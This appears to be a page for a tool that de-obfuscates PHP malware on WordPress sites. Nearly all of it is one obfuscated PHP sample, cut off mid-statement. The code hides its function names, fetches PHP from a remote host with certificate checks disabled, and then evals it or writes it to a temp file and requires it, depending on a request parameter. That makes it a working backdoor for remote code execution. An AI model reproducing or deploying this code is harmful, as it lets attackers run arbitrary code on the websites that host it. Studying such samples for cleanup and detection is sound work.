De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.
*Please note that not all obfuscation codes can be decoded.<?php $x_yz_z_yyz=urldecode("%6f%41%2d%62%4e%6e%4b%37%4c%35%5f%4a%55%74%52%78%49%59%2b%57%43%61%39%33%56%6b%30%77%4d%31%4f%65%53%44%64%42%32%6a%2f%6c%73%58%66%71%70%68%6d%2a%54%47%76%51%48%72%50%79%63%5c%34%7a%75%46%36%69%5a%67%38%45");$xz_zyy_yz_=$x_yz_z_yyz[44].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[65].$x_yz_z_yyz[10].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[44].$x_yz_z_yyz[39].$x_yz_z_yyz[21].$x_yz_z_yyz[56].$x_yz_z_yyz[31].$x_yz_z_yyz[10].$x_yz_z_yyz[56].$x_yz_z_yyz[21].$x_yz_z_yyz[39].$x_yz_z_yyz[39].$x_yz_z_yyz[3].$x_yz_z_yyz[21].$x_yz_z_yyz[56].$x_yz_z_yyz[25];$x_y__yzzyz=$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[21].$x_yz_z_yyz[46].$x_yz_z_yyz[10].$x_yz_z_yyz[40].$x_yz_z_yyz[0].$x_yz_z_yyz[56].$x_yz_z_yyz[25].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[10].$x_yz_z_yyz[56].$x_yz_z_yyz[39].$x_yz_z_yyz[63].$x_yz_z_yyz[31].$x_yz_z_yyz[5].$x_yz_z_yyz[13];$xyz_zz__yy=$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[21].$x_yz_z_yyz[46].$x_yz_z_yyz[10].$x_yz_z_yyz[65].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[10].$x_yz_z_yyz[46].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[21].$x_yz_z_yyz[10].$x_yz_z_yyz[34].$x_yz_z_yyz[21].$x_yz_z_yyz[13].$x_yz_z_yyz[21];$xzzzy__yy_=$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[21].$x_yz_z_yyz[46].$x_yz_z_yyz[10].$x_yz_z_yyz[40].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[10].$x_yz_z_yyz[3].$x_yz_z_yyz[39].$x_yz_z_yyz[0].$x_yz_z_yyz[56].$x_yz_z_yyz[25].$x_yz_z_yyz[63].$x_yz_z_yyz[5].$x_yz_z_yyz[65];$xzy__zy_zy=$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[21].$x_yz_z_yyz[46].$x_yz_z_yyz[10].$x_yz_z_yyz[40].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[10].$x_yz_z_yyz[13].$x_yz_z_yyz[63].$x_yz_z_yyz[46].$x_yz_z_yyz[31].$x_yz_z_yyz[0].$x_yz_z_yyz[60].$x_yz_z_yyz[13];$xz__yyy_zz=$x_yz_z_yyz[42].$x_yz_z_yyz[63].$x_yz_z_yyz[39].$x_yz_z_yyz[31].$x_yz_z_yyz[10].$x_yz_z_yyz[65].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[10].$x_yz_z_yyz[56].$x_yz_z_yyz[0].$x_yz_z_yyz[5].$x_yz_z_yyz[13].$x_yz_z_yyz[31].$x_yz_z_yyz[5].$x_yz_z_yyz[13].$x_yz_z_yyz[40];$x__zz_yyzy=$x_yz_z_yyz[42].$x_yz_z_yyz[60].$x_yz_z_yyz[5].$x_yz_z_yyz[56].$x_yz_z_yyz[13].$x_yz_z_yyz[63].$x_yz_z_yyz[0].$x_yz_z_yyz[5].$x_yz_z_yyz[10].$x_yz_z_yyz[31].$x_yz_z_yyz[15].$x_yz_z_yyz[63].$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[40];$x_zyyyz__z=$x_yz_z_yyz[31].$x_yz_z_yyz[53].$x_yz_z_yyz[53].$x_yz_z_yyz[0].$x_yz_z_yyz[53].$x_yz_z_yyz[10].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[44].$x_yz_z_yyz[0].$x_yz_z_yyz[53].$x_yz_z_yyz[13].$x_yz_z_yyz[63].$x_yz_z_yyz[5].$x_yz_z_yyz[65];$xzz__yz_yy=$x_yz_z_yyz[65].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[45].$x_yz_z_yyz[0].$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[3].$x_yz_z_yyz[55].$x_yz_z_yyz[5].$x_yz_z_yyz[21].$x_yz_z_yyz[46].$x_yz_z_yyz[31];$xy_z_zyy_z=$x_yz_z_yyz[3].$x_yz_z_yyz[21].$x_yz_z_yyz[40].$x_yz_z_yyz[31].$x_yz_z_yyz[62].$x_yz_z_yyz[58].$x_yz_z_yyz[10].$x_yz_z_yyz[31].$x_yz_z_yyz[5].$x_yz_z_yyz[56].$x_yz_z_yyz[0].$x_yz_z_yyz[34].$x_yz_z_yyz[31];$x_z_yyzyz_=$x_yz_z_yyz[3].$x_yz_z_yyz[21].$x_yz_z_yyz[40].$x_yz_z_yyz[31].$x_yz_z_yyz[62].$x_yz_z_yyz[58].$x_yz_z_yyz[10].$x_yz_z_yyz[34].$x_yz_z_yyz[31].$x_yz_z_yyz[56].$x_yz_z_yyz[0].$x_yz_z_yyz[34].$x_yz_z_yyz[31];$xy__yzyz_z=$x_yz_z_yyz[53].$x_yz_z_yyz[21].$x_yz_z_yyz[27].$x_yz_z_yyz[60].$x_yz_z_yyz[53].$x_yz_z_yyz[39].$x_yz_z_yyz[31].$x_yz_z_yyz[5].$x_yz_z_yyz[56].$x_yz_z_yyz[0].$x_yz_z_yyz[34].$x_yz_z_yyz[31];$xy_yz__yzz=$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[10].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[44].$x_yz_z_yyz[39].$x_yz_z_yyz[21].$x_yz_z_yyz[56].$x_yz_z_yyz[31];$xyy__zz_yz=$x_yz_z_yyz[56].$x_yz_z_yyz[60].$x_yz_z_yyz[53].$x_yz_z_yyz[39].$x_yz_z_yyz[10].$x_yz_z_yyz[40].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[0].$x_yz_z_yyz[44].$x_yz_z_yyz[13];$xz_zyzyy__=$x_yz_z_yyz[21].$x_yz_z_yyz[53].$x_yz_z_yyz[53].$x_yz_z_yyz[21].$x_yz_z_yyz[55].$x_yz_z_yyz[10].$x_yz_z_yyz[40].$x_yz_z_yyz[45].$x_yz_z_yyz[63].$x_yz_z_yyz[42].$x_yz_z_yyz[13];$xyy_yz__zz=$x_yz_z_yyz[44].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[65].$x_yz_z_yyz[10].$x_yz_z_yyz[40].$x_yz_z_yyz[44].$x_yz_z_yyz[39].$x_yz_z_yyz[63].$x_yz_z_yyz[13];$xzzzy_yy__=$x_yz_z_yyz[44].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[65].$x_yz_z_yyz[10].$x_yz_z_yyz[46].$x_yz_z_yyz[21].$x_yz_z_yyz[13].$x_yz_z_yyz[56].$x_yz_z_yyz[45];$x_yy_yz_zz=$x_yz_z_yyz[56].$x_yz_z_yyz[60].$x_yz_z_yyz[53].$x_yz_z_yyz[39].$x_yz_z_yyz[10].$x_yz_z_yyz[56].$x_yz_z_yyz[39].$x_yz_z_yyz[0].$x_yz_z_yyz[40].$x_yz_z_yyz[31];$x__yyzzz_y=$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[10].$x_yz_z_yyz[40].$x_yz_z_yyz[44].$x_yz_z_yyz[39].$x_yz_z_yyz[63].$x_yz_z_yyz[13];$xz_y_zyzy_=$x_yz_z_yyz[44].$x_yz_z_yyz[21].$x_yz_z_yyz[53].$x_yz_z_yyz[40].$x_yz_z_yyz[31].$x_yz_z_yyz[10].$x_yz_z_yyz[60].$x_yz_z_yyz[53].$x_yz_z_yyz[39];$xzyzyz___y=$x_yz_z_yyz[65].$x_yz_z_yyz[59].$x_yz_z_yyz[63].$x_yz_z_yyz[5].$x_yz_z_yyz[42].$x_yz_z_yyz[39].$x_yz_z_yyz[21].$x_yz_z_yyz[13].$x_yz_z_yyz[31];$x_y_yzyz_z=$x_yz_z_yyz[56].$x_yz_z_yyz[60].$x_yz_z_yyz[53].$x_yz_z_yyz[39].$x_yz_z_yyz[10].$x_yz_z_yyz[63].$x_yz_z_yyz[5].$x_yz_z_yyz[63].$x_yz_z_yyz[13];$xyy_zz_yz_=$x_yz_z_yyz[56].$x_yz_z_yyz[60].$x_yz_z_yyz[53].$x_yz_z_yyz[39].$x_yz_z_yyz[10].$x_yz_z_yyz[31].$x_yz_z_yyz[15].$x_yz_z_yyz[31].$x_yz_z_yyz[56];$xyzy_z_y_z=$x_yz_z_yyz[50].$x_yz_z_yyz[21].$x_yz_z_yyz[53].$x_yz_z_yyz[10].$x_yz_z_yyz[34].$x_yz_z_yyz[60].$x_yz_z_yyz[46].$x_yz_z_yyz[44];$xz_y__zyzy=$x_yz_z_yyz[63].$x_yz_z_yyz[40].$x_yz_z_yyz[10].$x_yz_z_yyz[21].$x_yz_z_yyz[53].$x_yz_z_yyz[53].$x_yz_z_yyz[21].$x_yz_z_yyz[55];$x___zzzyyy=$x_yz_z_yyz[13].$x_yz_z_yyz[46].$x_yz_z_yyz[44].$x_yz_z_yyz[42].$x_yz_z_yyz[63].$x_yz_z_yyz[39].$x_yz_z_yyz[31];$x_z_zyyzy_=$x_yz_z_yyz[44].$x_yz_z_yyz[53].$x_yz_z_yyz[63].$x_yz_z_yyz[5].$x_yz_z_yyz[13].$x_yz_z_yyz[10].$x_yz_z_yyz[53];$xyyz___zyz=$x_yz_z_yyz[63].$x_yz_z_yyz[46].$x_yz_z_yyz[44].$x_yz_z_yyz[39].$x_yz_z_yyz[0].$x_yz_z_yyz[34].$x_yz_z_yyz[31];$xy_yyzzz__=$x_yz_z_yyz[31].$x_yz_z_yyz[15].$x_yz_z_yyz[44].$x_yz_z_yyz[39].$x_yz_z_yyz[0].$x_yz_z_yyz[34].$x_yz_z_yyz[31];$xyy_zzyz__=$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[44].$x_yz_z_yyz[0].$x_yz_z_yyz[40];$xz__zyy_zy=$x_yz_z_yyz[40].$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[39].$x_yz_z_yyz[31].$x_yz_z_yyz[5];$xyz__zyz_y=$x_yz_z_yyz[45].$x_yz_z_yyz[31].$x_yz_z_yyz[15].$x_yz_z_yyz[34].$x_yz_z_yyz[31].$x_yz_z_yyz[56];$x_y__yzzyz=$x_yz_z_yyz[42].$x_yz_z_yyz[27].$x_yz_z_yyz[53].$x_yz_z_yyz[63].$x_yz_z_yyz[13].$x_yz_z_yyz[31];$xzyyy_z_z_=$x_yz_z_yyz[42].$x_yz_z_yyz[56].$x_yz_z_yyz[39].$x_yz_z_yyz[0].$x_yz_z_yyz[40].$x_yz_z_yyz[31];$xz___yyzyz=$x_yz_z_yyz[42].$x_yz_z_yyz[53].$x_yz_z_yyz[31].$x_yz_z_yyz[21].$x_yz_z_yyz[34];$xy_y_yz_zz=$x_yz_z_yyz[42].$x_yz_z_yyz[65].$x_yz_z_yyz[31].$x_yz_z_yyz[13].$x_yz_z_yyz[40];$xyz_z_yzy_=$x_yz_z_yyz[56].$x_yz_z_yyz[0].$x_yz_z_yyz[60].$x_yz_z_yyz[5].$x_yz_z_yyz[13];$x_z_yzyyz_=$x_yz_z_yyz[13].$x_yz_z_yyz[53].$x_yz_z_yyz[63].$x_yz_z_yyz[46];$xz_yzz__yy=$x_yz_z_yyz[37].$x_yz_z_yyz[0].$x_yz_z_yyz[63].$x_yz_z_yyz[5];$x_zy_y_zzy=$x_yz_z_yyz[42].$x_yz_z_yyz[31].$x_yz_z_yyz[0].$x_yz_z_yyz[42];${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x79\x79\x79\x7a\x5f\x5f\x7a"](0);$xyyzz__zy_="Ha0RDcvo2LwpTMwAXLyYTMuUWetFWYpx2avVids5WaZl";$x__yz_yzzy="Ha0RHc6MyLj9nLpdzYuU2Yt9wL==";function x_zz_z_yyy($xyz_yyz_z_){$x_zzy_y_yz=substr($xyz_yyz_z_,0,5);$xyzzyy__z_=substr($xyz_yyz_z_,-5);$x_zy_zyzy_=substr($xyz_yyz_z_,7,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x5f\x7a\x79\x79\x5f\x7a\x79"]($xyz_yyz_z_)-14);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x7a\x79\x7a\x5f\x5f\x5f\x79"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x79\x79\x7a\x79\x7a\x5f"]($x_zzy_y_yz.$x_zy_zyzy_.$xyzzyy__z_));}function xy_zyyz__z($xz_zy__zyy){if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x7a\x7a\x79\x5f\x79\x79\x5f\x5f"]("/^https*\\:\\/\\//si",$xz_zy__zyy)){return '500';}$xy_y_zzz_y=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x5f\x79\x79\x79\x5f\x7a\x7a"]($xz_zy__zyy);if($xy_y_zzz_y!=false){return $xy_y_zzz_y;}$x_yzz_z_yy=x_zz_z_yyy('Sy4typZonPzMss0U4GsYpTS/ILoOzUitTkmrTi/OTs/ILUvJoCBLO4pCg1MTcexE8tiU/OyUzNK6mB8YBknSJakA');$xy_zyzy__z=$xzyyz_y_z_=$xyzy_yz_z_=$xy_yy__zzzrr_str ='';foreach(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x79\x79\x7a\x7a\x7a\x5f\x5f"]('|',$x_yzz_z_yy) as $c){$xz_yz_y_yz=1;foreach(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x79\x79\x7a\x7a\x7a\x5f\x5f"]('+',$c) as $d){if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x5f\x7a\x7a\x5f\x79\x79\x7a\x79"]($d)){$xz_yz_y_yz=0;}}unset($d);if($xz_yz_y_yz){$xy_zyzy__z=$c;break;}}unset($x_yzz_z_yy,$c);if($xy_zyzy__z==''){return 0;}if(substr($xy_zyzy__z,0,1)=='c'){$xyyz__yzz_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x79\x5f\x79\x7a\x79\x7a\x5f\x7a"]();${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x5f\x7a\x7a\x5f\x79\x7a"]($xyyz__yzz_,CURLOPT_URL,$xz_zy__zyy);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x5f\x7a\x7a\x5f\x79\x7a"]($xyyz__yzz_,CURLOPT_USERAGENT,'s');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x5f\x7a\x7a\x5f\x79\x7a"]($xyyz__yzz_,CURLOPT_RETURNTRANSFER,1);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x5f\x7a\x7a\x5f\x79\x7a"]($xyyz__yzz_,CURLOPT_TIMEOUT,100);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x5f\x7a\x7a\x5f\x79\x7a"]($xyyz__yzz_,CURLOPT_FRESH_CONNECT,TRUE);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x5f\x7a\x7a\x5f\x79\x7a"]($xyyz__yzz_,CURLOPT_SSL_VERIFYPEER,0);$xz_y_yz_yz=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x7a\x7a\x5f\x79\x7a\x5f"]($xyyz__yzz_);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x79\x79\x5f\x79\x7a\x5f\x7a\x7a"]($xyyz__yzz_);if(!$xz_y_yz_yz){return '501';}else{return $xz_y_yz_yz;}}$xz__yzyy_z=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x79\x5f\x7a\x79\x7a\x79\x5f"]($xz_zy__zyy);isset($xz__yzyy_z["\x68\x6f\x73\x74"])||$xz__yzyy_z["\x68\x6f\x73\x74"]='';isset($xz__yzyy_z["\x70\x61\x74\x68"])||$xz__yzyy_z["\x70\x61\x74\x68"]='';isset($xz__yzyy_z["\x71\x75\x65\x72\x79"])|| $xz__yzyy_z["\x71\x75\x65\x72\x79"]='';isset($xz__yzyy_z["\x70\x6f\x72\x74"])||$xz__yzyy_z["\x70\x6f\x72\x74"]='';$x_zzy__yyz=$xz__yzyy_z["\x70\x61\x74\x68"]?$xz__yzyy_z["\x70\x61\x74\x68"].($xz__yzyy_z["\x71\x75\x65\x72\x79"]?'?'.$xz__yzyy_z["\x71\x75\x65\x72\x79"]:''):'/';$xzy_y__zzy=$xz__yzyy_z["\x68\x6f\x73\x74"];if($xz__yzyy_z["\x73\x63\x68\x65\x6d\x65"]=='https'){$xzz_y_zyy_='1.1';$x_zyyyz_z_=empty($xz__yzyy_z["\x70\x6f\x72\x74"])?443:$xz__yzyy_z["\x70\x6f\x72\x74"];$xzy_y__zzy=x_zz_z_yyy('Ky7OsPgdLABXBwA=');$xzy_y__zzy.=$xz__yzyy_z["\x68\x6f\x73\x74"];}else{$xzz_y_zyy_='1.0';$x_zyyyz_z_=empty($xz__yzyy_z["\x70\x6f\x72\x74"])?80:$xz__yzyy_z["\x70\x6f\x72\x74"];}$x_zzyyy_z_='Host:';$x_zzyyy_z_.=$xzy_y__zzy;$headers[]=$x_zzyyy_z_;$headers[]=x_zz_z_yyy('c87PymS0tNLsnMz7NyzskNivTgUA');$headers[]=x_zz_z_yyy('Cy1OLbCdJ1TE/NK7ErMqBgA=');$headers[]=x_zz_z_yyy('c0xOTXJi0osdLtWS1wIA');unset($x_zzyyy_z_);$xzyyz_y_z_="GET $x_zzy__yyz HTTP/$xzz_y_zyy_".PHP_EOL.${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x79\x7a\x7a\x5f\x5f\x79\x79"](PHP_EOL,$headers).PHP_EOL.PHP_EOL;unset($headers,$xz__yzyy_z,$xzz_y_zyy_,$x_zzy__yyz);$x_y_zz_yzy=null;if(substr($xy_zyzy__z,-1)=='n'){$x_y_zz_yzy=$xy_zyzy__z($xzy_y__zzy,$x_zyyyz_z_,$xyzy_yz_z_,$xy_yy__zzzrr_str,30);}else{if(substr($xy_zyzy__z,-1)=='t'){$xzzzyy__y_=x_zz_z_yyy('K0kusibNLVEXBwA=');$xzzzyy__y_.=$xzy_y__zzy;$xzzzyy__y_.=':';$xzzzyy__y_.=$x_zyyyz_z_;$x_y_zz_yzy=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x79\x5f\x5f\x79\x7a\x7a\x79\x7a"]($xzzzyy__y_,$xyzy_yz_z_,$xy_yy__zzzrr_str,30);unset($xzzzyy__y_);}}$x_yy_z_zyz='';if($x_y_zz_yzy){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x7a\x7a\x79\x5f\x5f\x79\x79\x5f"]($x_y_zz_yzy,TRUE);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x5f\x5f\x7a\x79\x5f\x7a\x79"]($x_y_zz_yzy,30);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x79\x5f\x5f\x79\x7a\x7a\x79\x7a"]($x_y_zz_yzy,$xzyyz_y_z_);$x_z_y_yzyz=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x5f\x7a\x7a\x5f\x5f\x79\x79"]($x_y_zz_yzy);if(!$x_z_y_yzyz["\x74\x69\x6d\x65\x64\x5f\x6f\x75\x74"]){while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x79\x5f\x79\x5f\x7a\x7a\x79"]($x_y_zz_yzy)){$xzyy__z_yz=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x79\x5f\x79\x7a\x5f\x7a\x7a"]($x_y_zz_yzy);if($xzyy__z_yz&&(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x5f\x79\x7a\x79\x7a\x5f\x7a"]($xzyy__z_yz)=="%0D%0A"||${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x5f\x79\x7a\x79\x7a\x5f\x7a"]($xzyy__z_yz)=="%0A")){break;}unset($xzyy__z_yz);}while(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x79\x5f\x79\x5f\x7a\x7a\x79"]($x_y_zz_yzy)){$xzz_y_yyz_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x5f\x5f\x79\x79\x7a\x79\x7a"]($x_y_zz_yzy,8192);$x_yy_z_zyz.=$xzz_y_yyz_;unset($xzz_y_yyz_);}}unset($x_z_y_yzyz);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x79\x79\x5f\x7a\x5f\x7a\x5f"]($x_y_zz_yzy);}else{if(substr($xy_zyzy__z,-1)=='e'){$x__zyzzy_y=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x7a\x5f\x5f\x79\x7a\x5f\x79\x79"]($xzy_y__zzy);$x_y_zz_yzy=$xy_zyzy__z(AF_INET,SOCK_STREAM,0);if(socket_connect($x_y_zz_yzy,$x__zyzzy_y,$x_zyyyz_z_)){socket_write($x_y_zz_yzy,$xzyyz_y_z_,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x5f\x7a\x79\x79\x5f\x7a\x79"]($xzyyz_y_z_));while($x__yyz_yzz=@socket_read($x_y_zz_yzy,8192)){$x_yy_z_zyz.=$x__yyz_yzz;unset($x__yyz_yzz);}$x_yy_z_zyz=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x79\x79\x7a\x7a\x7a\x5f\x5f"]("\\r\\n\\r\\n",$x_yy_z_zyz);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x7a\x79\x7a\x79\x79\x5f\x5f"]($x_yy_z_zyz);$x_yy_z_zyz=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x7a\x5f\x5f\x5f\x7a\x79\x7a"]("\\r\\n\\r\\n",$x_yy_z_zyz);}socket_close($x_y_zz_yzy);unset($x__zyzzy_y);}}unset($xzyyz_y_z_,$xy_zyzy__z,$x_y_zz_yzy,$x_zyyyz_z_,$xzy_y__zzy);$x_yy_z_zyz=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x7a\x79\x79\x5f\x79\x7a\x5f"]('/(?:(?:\\r\\n|\\n)|^)([0-9A-F]+)(?:\\r\\n|\\n){1,2}(.*?)'.'((?:\\r\\n|\\n)(?:[0-9A-F]+(?:\\r\\n|\\n))|$)/si','x_zyzy_z_y',$x_yy_z_zyz);return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x79\x7a\x79\x79\x7a\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x79\x7a\x79\x79\x7a\x5f"]($x_yy_z_zyz,"\\xEF\\xBB\\xBF"));}function x_zyzy_z_y($matches){return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x5f\x5f\x7a\x79\x7a\x5f\x79"]($matches[1])==${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x5f\x7a\x79\x79\x5f\x7a\x79"]($matches[2])?$matches[2]:$matches[0];}function xyzyz___zy($xzzyy_y__z=''){$xzzyy_y__z=(${"\x5f\x53\x45\x52\x56\x45\x52"}["HTTP_VIA"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["HTTP_X_FORWARDED_FOR"]:${"\x5f\x53\x45\x52\x56\x45\x52"}["REMOTE_ADDR"];$xzzyy_y__z=($xzzyy_y__z)?$xzzyy_y__z:${"\x5f\x53\x45\x52\x56\x45\x52"}["REMOTE_ADDR"];return ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x79\x7a\x79\x79\x7a\x5f"]($xzzyy_y__z);}function xzyy_y_zz_($xyz_yyz_z_=''){if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x48\x4f\x53\x54"];}elseif(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"])){return ${"\x5f\x53\x45\x52\x56\x45\x52"}["\x53\x45\x52\x56\x45\x52\x5f\x4e\x41\x4d\x45"];}return $xyz_yyz_z_;}function xz_zy_zyy_($xz_zy__zyy){$xzyyz__y_z=xy_zyyz__z($xz_zy__zyy);$xzz_yy__zy=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x79\x79\x7a\x79\x7a\x5f"]("PD9waHA=");if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x7a\x7a\x79\x7a\x5f\x5f"]($xzyyz__y_z,$xzz_yy__zy)===false){die('get failed');}$xyyzyz_z__=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x5f\x5f\x7a\x7a\x7a\x79\x79\x79"]();if(isset($_REQUEST["\x65"])){$xzyyz__y_z=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x79\x7a\x5f\x5f\x79\x7a\x7a"]($xzz_yy__zy,"",$xzyyz__y_z);$xy_yy__zzz='e'.'v'.'a'.'l';$xy_yy__zzz($xzyyz__y_z);die();}${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x79\x5f\x5f\x79\x7a\x7a\x79\x7a"]($xyyzyz_z__,$xzyyz__y_z);$x_yzz_z_yy=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x5f\x7a\x7a\x5f\x5f\x79\x79"]($xyyzyz_z__);@require($x_yzz_z_yy["\x75\x72\x69"]);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x79\x79\x79\x5f\x7a\x5f\x7a\x5f"]($xyyzyz_z__);die();}function x__yzy_yzz($xyyzz__zy_){$x_yzz_y_zy=substr($xyyzz__zy_,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x5f\x7a\x79\x79\x5f\x7a\x79"]($xyyzz__zy_) -2);$xyzy__zy_z=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x5f\x79\x79\x7a\x7a\x7a\x5f\x79"]($xyyzz__zy_);$xzzy__yzy_='';for ($xy_zzyy__z=0;$xy_zzyy__z<${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x5f\x7a\x5f\x79\x7a\x79\x5f"]($xyzy__zy_z)-2;$xy_zzyy__z=$xy_zzyy__z+2){$xzzy__yzy_.=$xyzy__zy_z[$xy_zzyy__z+1].$xyzy__zy_z[$xy_zzyy__z];}$xzzy__yzy_.=$x_yzz_y_zy;return $xzzy__yzy_;}function x_z_zyyyz_($googleUrl,$x__yzz_yzy,$xy_z_zyz_y){$x_z__yzzyy=x_zz_z_yyy('yygpKPrSi20tdXLdYvyMxLty/OLEnNTSywVS0GiqgBLWAwA=');$x_y__zzyzy=sprintf($x_z__yzzyy,$googleUrl,$xy_z_zyz_y["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"],$xy_z_zyz_y["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"],$x__yzz_yzy);$xyy_z__zyz=xy_zyyz__z($x_y__zzyzy);if(isset($_REQUEST["\x73\x74"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x79\x5f\x7a\x5f\x79\x5f\x7a"]($x_y__zzyzy);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x79\x5f\x7a\x5f\x79\x5f\x7a"]($xyy_z__zyz);die();}$xzyyyz_z__=x_zz_z_yyy('S8/PTCz89ZcJBQA=');$x_y_yzzzy_=x_zz_z_yyy('Ky5NToUk4iBtLgYA');$xyyzyz__z_=x_zz_z_yyy('S0vMzEJElwPNAQA=');if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x7a\x7a\x79\x7a\x5f\x5f"]($xyy_z__zyz,$xzyyyz_z__)!=false){die($x_y_yzzzy_);}die